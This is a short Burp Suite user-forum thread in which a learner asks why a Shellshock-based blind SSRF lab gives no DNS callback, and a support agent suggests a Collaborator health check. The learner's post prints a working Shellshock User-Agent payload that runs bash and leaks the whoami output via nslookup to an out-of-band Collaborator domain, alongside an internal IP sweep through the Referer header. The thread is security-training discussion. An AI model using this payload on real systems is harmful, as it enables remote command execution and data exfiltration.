Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Solve Blind SSRF with Shellshock

Simon | Last updated: Jan 10, 2023 09:34AM UTC

Hi, im currently trying to solve the SSRF Lab but I somehow don't get the DNS lookup in the Collaborator. I am using the GET Request for viewing a product in the Intruder. My Shellshock payload looks like this: User-Agent: () { :; }; /bin/bash -c 'nslookup $(whoami).zfiq5ou3ab5xrtowzc2k4te77zer2jt7i.oastify.com' and my Referer: Referer: http://192.168.0.§X§:8080 for x in range 0 to 255. Also the responses take (in my opinion) to long. To reciev all 256 responses, it takes like 15-20 minutes (Default resource pool) I get Status 200 so my requests should also be directed correctly.

Hannah, PortSwigger Agent | Last updated: Jan 10, 2023 09:51AM UTC

Hi If you go to "Settings > Search > Health check" and run a Collaborator server health check, does it complete successfully, or do you receive any errors?

Simon | Last updated: Jan 10, 2023 09:55AM UTC

Hello Hannah, thanks for the fast reply. "All tests were successful"

Simon | Last updated: Jan 10, 2023 12:56PM UTC